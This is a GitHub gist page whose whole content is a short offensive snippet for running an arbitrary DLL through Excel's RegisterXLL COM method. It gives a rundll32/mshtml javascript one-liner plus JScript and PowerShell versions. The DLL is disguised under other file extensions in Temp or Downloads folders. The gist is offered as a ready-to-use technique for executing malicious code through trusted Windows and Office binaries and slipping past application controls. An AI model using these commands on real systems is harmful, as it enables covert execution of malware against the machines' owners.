Skip to content

Instantly share code, notes, and snippets.

@FlatL1neAPT
Forked from Ridter/excel.bat
Created October 28, 2018 11:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FlatL1neAPT/fb0053b373467bc6e221ee0ed87cff44 to your computer and use it in GitHub Desktop.
Save FlatL1neAPT/fb0053b373467bc6e221ee0ed87cff44 to your computer and use it in GitHub Desktop.
Execute DLL via the Excel.Application object's RegisterXLL() method
REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
// Create Instace of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");
// Pass in path to the DLL (can use any extension)
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
# Create Instace of Excel.Application COM object
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
# Pass in path to the DLL (can use any extension)
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment